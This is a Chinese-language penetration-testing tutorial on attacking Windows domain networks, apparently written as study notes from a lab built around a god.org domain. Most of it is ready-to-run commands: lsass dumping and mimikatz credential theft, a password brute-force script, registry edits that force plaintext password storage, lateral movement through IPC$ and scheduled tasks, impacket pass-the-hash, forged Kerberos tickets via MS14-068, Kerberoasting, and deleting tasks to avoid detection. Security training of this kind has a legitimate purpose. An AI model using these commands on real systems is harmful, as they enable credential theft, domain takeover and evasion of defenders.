1. 基本概念
1.1 工作组和域环境
- 工作组:地位平等,管理分散, 如在局域网中的个人电脑
- 域环境: 地位不平等, 实现集中管理
1.2 域控DC
域控DC是这个域环境中的管理者,域里面的最高权限,判断是否拿下整个域,就是看你是否拿下这台域控制器(这里面dc就是域控制器)
2. 内网渗透流程
- 信息收集-后续探针-权限提升-横向渗透-权限维持
3. 内网信息收集常用命令
systeminfo 详细信息(操作系统版本、补丁编号等信息)
net start 查看启动的服务
tasklist 进程列表(查看当前主机开启了哪些进程)
schtasks 计划任务(若报错无法加载列资源,说明你的权限不够,因此要提权才能使用该命令(注意计划任务是以system权限运行))
ipconfig /all 判断存在域-最简单方式查看主DNS后缀
net view /domain 判断存在域
net time /domain 判断主域(主域就是域控的意思)【在域环境下查看当前时间】 此时返回的OWA2010CN-God.god.org就是域控的计算机全名。然后可以通过nslookup来最终确认域控IP
slookup <域控制器全名> 追踪来源地址(我们可以通过nslookup和ping命令获取域控的对应ip地址,域控主机ip为3.21)
netstat -ano 当前网络端口开放(进程编号和本地端口)
whoami /all 用户权限(组信息、特权信息、以及用户SID)
net config workstation 登录信息
net user 当前电脑里面的用户(本地用户)
net localgroup 本地用户组
net user /domain 当前域里面的用户
net group /domain 获取域用户组信息(域管理员、域控制器、域用户、企业管理员等等)
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
4. 凭据信息收集
4. 1 windwos密码获取---mimikatzs使用
- mimikatz运行需要域管理员权限,域用户无法运行,因为权限不够
- 使用命令
privilege::debug
sekurlsa::logonpasswords(本地管理员密码和域用户密码)
4.2 mimikatzs配合官方工具Procdump获取明文密码
Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。
- 通过procdump获取用户信息文件
lsass.dmp
procdump -accepteula -ma lsass.exe lsass.dmp
- mimikatz:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
4.3 Linux密码获取---mimipenguin
5. 域环境架构信息收集
5.1 探针域控制器名及地址信息
net time /domain
nslookup
ping
5.2 探针域内存活(在线)主机及地址信息
- 第三方工具
nbtscan 192.168.3.0/24
类似于nmup,但是会标注域用户名和dc -
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="
(用for循环去ping1-254网段的主机,这是自带内部命令,不会被杀毒软件拦截) - 其它探针方式如:nmap(易拦截)、masscan、第三方PowerShell脚本(windows的脚本开发语言)、nishang(推荐)、empire(推荐)
6. nishang框架的相关使用
#导入模块nishang
Import-Module .\nishang.psm1
#设置执行策略
Set-ExecutionPolicy RemoteSinged
#获取模块nishang的命令函数
Get-command -Module nishang
#获取常规计算机信息
Get-Information
# 调用mimikatz
Invoke-Mimikatz
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.21 -EndAddress 192.168.3.31 -ResolveHost -ScanPort(扫了两次崩了两次)
7. 域横向渗透
是建立在获取到明文和hash介质上的一种攻击
7.1 横向渗透明文传递ipc协议
获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当作用户字典->用到密码明文当作密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件为后门或相关命令
利用流程:
- 建立IPC链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at,schtasks)
- 删除IPC链接
- IPC相关命令
#建立ipc连接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
- 连接上ipc后通过计划任务(at,schtasks)执行相关命令
# 上传一个添加用户的bat文件到远程主机
copy add.bat \\192.168.3.21\c$
# 添加定时任务执行
at \\192.168.3.21 12:15 c:\add.bat
# 当Windows版本>=2012 时, 计划任务用schtasks创建
# 创建一个以system权限的,名为adduser的,时间为每日任务(延时执行),执行文件c:\add.bat的,计划任务
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
# 运行adduser任务
schtasks /run /s 192.168.3.32 /tn adduser
#为了不让对方发现,删除 adduser 任务
schtasks /delete /s 192.168.3.32 /tn adduser /f
7.2 域横向渗透 明文/hash 传递--工具: impacket
- 优点:密码可明文可hash,一句话命令,连接、提权全部搞定。
- 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
- Impacket 是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。 (对协议进行访问,可以改成exe文件)
- 使用方法
# 尝试at命令的计划任务(2012版本以下)
# 连接域控本地administrator并执行定时任务(命令)
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
# 通过哈希密码连接
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
7.3 用收集到的明文密码横向爆破其他域主机
for ip in open("ips.txt"):
for username in open("users.txt"):
for password in open("passwords.txt"):
exec1 = r"net use \\"+ip+r"\ipc$"+password+r"/user:"+username
exec2 = r"net use \\"+ip+r"\ipc$"+password+r"/user:god\"+username
print("exec1")
os.system(exec1)
print("exec2")
os.system(exec2)
sleep(1)
使用pyinstaller将py文件打包成exe文件
pyinstaller -F fuck_neiwang_001.py
7.4 横向渗透之smb&wmi协议
7.4.1 问题引入:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码.可以通过reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改该选项
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码.
7.4.2 解决思路:使用hash传递
Windows系统LM Hash及NTLM Hash两种hash加密算法. 系统在Windows 2003以后,认证方式均为NTLM Hash。
- 利用哈希hash传递(pth,ptk等)进行移动(不需要明文)
- 利用其它服务协议(SMB,WMI等)进行哈希移动
- 利用注册表操作开启Wdigest Auth值进行获取(想办法获取明文)
- 利用工具或第三方平台(Hachcat)进行破解获取(wdigest开启不了,在实战情况下会被杀毒软件查杀)
7.4.3 利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放
两种方式:
第一种使用微软官方工具:psexec工具(存在两种连接方式:1. 先有 ipc 链接,官方psexec 只能明文传递2. 不用建立IPC直接提供明文账户密码(推荐原因:建立IPC链接可能会失败))
1. 先建立ipc连接(密码是前期信息收集获取)
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd(发现为系统权限)
2. 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s(系统权限) cmd(运行cmd)
第二种是使用第三方工具包impacket中的smbexec和psexec工具, impacket工具包(别人二次开发的)里面psexec.exe可以使用明文和hash传递
# 三方工具包中的psexec.exe支持hash传递(NTLM哈希值)
psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
# 连接域用户--明文
smbexec.exe god/administrator:Admin12345@192.168.3.21
# 连接本地用户--明文
smbexec ./administrator:admin!@#45@192.168.3.32
# 连接域用户--hash
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.32
# 连接本地用户--hash
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
7.4.4 域横向移动 之WMI 服务(端口135开放)
WMI(Windows Management Instrumentation) 是通过135 端口进行利用,支持用户名明文或hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。(这是一种服务)
- 自带 WMIC 明文传递(不支持hash)无回显, 可以将命令执行结果写入文件
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
- 自带cscript明文传递(不支持hash),有回显(需要wmiexec.vbs文件,不支持哈希,wmiexec.vbs文件较exe文件好免杀)
- wmiexec.vbs脚本下载:
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
- 使用三方工具包impacket中的 wmiexec, 支持明文或hash传递,有回显exe版本(容易被杀)
明文本地用户
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(或者"ipconfig")
hash本地用户
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
明文域环境用户
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
hash域环境用户
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
7.5 域横向渗透之PTH&PTK&PTT哈希票据传递
7.5.1名词解释
- PTH(pass the hash) #利用lmHash(老版本哈希)或ntlmHash(新版本)的hash值进行的渗透测试(可打补丁kb2871997修补)
- PTT(pass the ticket)#利用的票据凭证TGT进行的渗透测试(和加密算法不同的是,PTT采用的票据,使用Kerberos协议)
- PTK(pass the key) #利用ekeys、aes256加密算法进行的渗透测试(适用对象:对于 8.1/2012r2,安装补丁kb2871997 Win 7/2008r2/8/2012等)
7.5.2 使用mimikatz进行PTH攻击
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash.由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据,但是也不排除内网中有老系统,所以在信息收集的时候,最好LM和NTLM都收集一下。
privilege::debug
# 收集LM Hash及NTLM Hash
sekurlsa::logonpasswords
# 使用hash传递攻击--域类用户
sekurlsa::pth /user :administrator /domain:god /ntlm :ccef208c6485269c20db2cad21734fe7
# 使用hash传递攻击--本地用户
sekurlsa::pth /user :administrator /domain:workgroup /ntlm :ccef208c6485269c20db2cad21734fe7
7.5.3 使用mimikatz进行PTK攻击
打补丁后的工作组及域连接(注意,PTK只有打了补丁才能用)
privilege::debug
# 收集aes密码
sekurlsa::ekeys
# 使用aes256传递攻击--域类用户
sekurlsa::pth /user:mary /domain:god /aes256: d3444436d7b6c0b57a1cee8907d41fcbe35c3e46779eea77e6311c7df4aaa143
7.5.4 PTT(pass the ticket)
PTT攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
- MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁kb3011780
- MS14-068能实现普通用户直接获取域控system 权限
1. 查看凭证(相当于查看浏览器的cookie)
kerberos::list
2. 清空当前机器所有凭证
kerberos::purge (或使用cmd命令 klist::purge)
3. 利用ms14-068 生成 TGT 数据(相当于伪造的cookie)会生成一个票据文件
ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码
.\MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4. 用mimikatz将票据注入内存(类似将伪造的cookie注入浏览器)
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5. 再次查看内存中的票据(相当于浏览器里面有伪造的cookie了)
kerberos::list
6. 利用伪造的票据去连接域控主机(注意这里不能直接用ip,要用域控名)
dir \\OWA2010CN-God.god.org\c$
收集本地票据(需管理权限,类似cookie欺骗)
- 导出连接过的所有票据
sekurlsa::tickets /export
- 清空票据
kerberos::purge
- 对导出的所有票据一个一个导入进行尝试
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
- 尝试连接域控
dir \\OWA2010CN-God.god.org\c$
7.6 域横向渗透之RDP&SPN&CobaltStrike
7.6.1RDP协议连接
判断对方远程桌面服务是否开启(默认:3389),端口扫描判断。(在Linux上面就是通过Xshell连接的SSHxeiy协议,在windows上面就是类似Linux的RDP协议)
明文密码连接
- mstsc
- 命令行连接
windows:
mstsc.exe /console /v:192.168.3.21 /admin
Linux:
rdesktop 192.168.3.21:3389
Hash连接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持
# cmd开启Restricted Admin mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 利用mimikatz适应hash连接远程桌面
privilege::debug
sekurlsa::pth user:administrator domain:god ntlm:55b05 "/run:mstsc.exe restrictedadmin"
7.6.2 域横向移动SPN服务-探针,请求,导出,破解,重写
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称(唯一cookie的标识,类似于token)。则每个实例都必须具有自己的SPN.
利用思路:
- spn扫描: SPN扫描不需要连接到网络上的每个IP来检查服务端口
#探针SPN服务((扫描全部,这里每个域用户对应的SPN服务都有))
setspn -q */*
# 查询特定服务如mssql
setspn -q */* | findstr "MSSQL"
# 在域Web上删除票据
klist purge
- 请求域内其他主机服务票据(TGT), 并进行破解得到hash, 从而进行hash攻击
Add-Type -AssemblyName System.IdentityModel
# 请求fileserv.god.org主机1433端口的MSSQLSvc服务的票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/fileserv.god.org:1433"
# 利用miimiktz导出票据
kerberos::list /export
破解工具tgsrepcrack.py破解服务票据(python3环境)
重写票据(属于后续攻击,不一定会成功)
#重写票据并且赋予管理员权限
//这里是将名为1-40a00000-webadmin@MSSQLSvc~fileserv.god.org~1433-GOD.ORG.kirbi的票据进行重写为PENTESTLAB.kirbi
python kerberoast.py -p Password123 -r 1-40a00000-webadmin@MSSQLSvc~fileserv.god.org~1433-GOD.ORG.kirbi -w PENTESTLAB.kirbi -u 500
#重写票据并且赋予管理员组的权限(-g512指的是管理员组)
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
#利用mimikatz将票据注入内存(这个图是上一章PTT的内存注入)
mimikatz.exe kerberos::ptt xxxx.kirbi
#注入内存之后,就可以连接靶机了:
dir //xxx.xxx.xxx.xxx/c$(查看靶机c盘文件)
8. 内网渗透流程---CobaltStrike初体验
Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。Cobalt Strike集成了功能和模块:
1.端口转发
2.扫描多模式端口Listener
3.各木马生成
CS神器大概流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透